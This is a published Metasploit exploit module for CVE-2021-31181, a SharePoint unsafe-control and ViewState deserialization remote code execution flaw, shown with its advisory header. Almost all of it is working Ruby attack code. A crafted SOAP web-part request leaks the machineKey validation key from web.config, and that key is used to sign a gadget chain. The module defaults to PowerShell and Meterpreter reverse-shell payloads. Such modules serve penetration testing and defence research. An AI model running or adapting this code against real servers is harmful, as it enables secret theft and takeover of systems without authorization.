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Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution

Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution
Posted Jun 17, 2021
Authored by unknown, Spencer McIntyre, wvu | Site metasploit.com

The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution when deserialized. Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.

tags | exploit, code execution
systems | windows
advisories | CVE-2021-31181
SHA-256 | 5dcb06868c15ec6031a011204cbd74de26b37669890217421638293a9f77e49b

Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Sharepoint
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

XML_NS = {
'wpp' => 'http://microsoft.com/sharepoint/webpartpages',
'soap' => 'http://www.w3.org/2003/05/soap-envelope',
'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'xsd' => 'http://www.w3.org/2001/XMLSchema'
}.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE',
'Description' => %q{
The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This
can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will
leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution
when deserialized.

Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.
},
'Author' => [
'Unknown', # Reported to HP ZDI team, Vulnerability discovery
'Spencer McIntyre', # Module
'wvu' # Module
],
'References' => [
[ 'CVE', '2021-31181' ],
[ 'ZDI', '21-573' ],
[ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability' ]
],
'DisclosureDate' => '2021-05-11',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
}
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
}
}
]
],
'DefaultTarget' => 2,
'DefaultOptions' => {
'DotNetGadgetChain' => :TypeConfuseDelegate
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
OptString.new('SP_LIST', [true, 'SharePoint site SPList', 'Documents']),
# "Promote" these advanced options so we don't have to pass around our own
OptString.new('HttpUsername', [false, 'SharePoint username']),
OptString.new('HttpPassword', [false, 'SharePoint password'])
])
end

def post_auth?
true
end

def username
datastore['HttpUsername']
end

def password
datastore['HttpPassword']
end

def cookie
datastore['COOKIE']
end

def vuln_builds
# https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
# https://buildnumbers.wordpress.com/sharepoint/
# Patched in May of 2021
[
[Rex::Version.new('15.0.0.0'), Rex::Version.new('15.0.0.5337')], # SharePoint 2013
[Rex::Version.new('16.0.0.0'), Rex::Version.new('16.0.0.5149')], # SharePoint 2016
[Rex::Version.new('16.0.0.10000'), Rex::Version.new('16.0.0.10373')] # SharePoint 2019
]
end

def check
build = sharepoint_get_version('cookie' => cookie)

if build.nil?
return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
end

if vuln_builds.any? { |build_range| build.between?(*build_range) }
return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
end

CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
end

def exploit
if (username.blank? && password.blank?)
if cookie.blank?
fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')
end

print_warning('Using the specified COOKIE for authentication')
end

if (@validation_key = datastore['VALIDATION_KEY'])
print_status("Using ViewState validation key #{@validation_key}")
else
leak_web_config
end

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
end

def leak_web_config
print_status('Leaking the ViewState validation key...')

web_id = sharepoint_get_site_web_id('cookie' => cookie)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the site web ID') unless web_id

webpart = <<~WEBPART
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
WEBPART
webpart << Nokogiri::XML(<<-WEBPART, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="#{datastore['SP_LIST'].encode(xml: :text)}" WebId="{#{web_id.encode(xml: :text)}}">
<DataSources>
<att:xmldatasource runat="server" id="XDS1"
XPath="/configuration/system.web/machineKey"
datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />
</DataSources>
<xsl>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" indent="yes" />
<xsl:template match="/">
<xsl:copy-of select="." />
</xsl:template>
</xsl:stylesheet>
</xsl>
</WebPartPages:XsltListFormWebPart>
WEBPART

envelope = '<?xml version="1.0" encoding="utf-8"?>'
envelope << Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages">
<webPartXml>#{webpart.encode(xml: :text)}</webPartXml>
</RenderWebPartForEdit>
</soap12:Body>
</soap12:Envelope>
ENVELOPE

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx'),
'cookie' => cookie,
'ctype' => 'application/soap+xml; charset=utf-8',
'data' => envelope
)

unless res
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
end

unless res.code == 200
fail_with(Failure::NotFound, "Failed to retrieve #{normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx')}")
end

xml_response = res.get_xml_document
if xml_response.nil?
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (non-XML response body)')
end

xml_result = xml_response.xpath('//wpp:RenderWebPartForEditResult', XML_NS)&.text
unless xml_result
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //wpp:RenderWebPartForEditResult)')
end

xml_result = Nokogiri::XML(xml_result)
web_part_pages = Nokogiri::XML(xml_result.xpath('//Properties').text)
unless web_part_pages&.root
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //Properties)')
end

unless (preview = web_part_pages.root.attr('__designer:Preview'))
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing attribute: __desiginer:Preview)')
end
preview = Nokogiri::HTML(CGI.unescapeHTML(preview))
unless (@validation_key = preview.at('//machinekey/@validationkey')&.text)
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //machinekey/@validationkey)')
end

print_good("ViewState validation key: #{@validation_key}")
end

def execute_command(cmd, _opts = {})
sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie })
end
end
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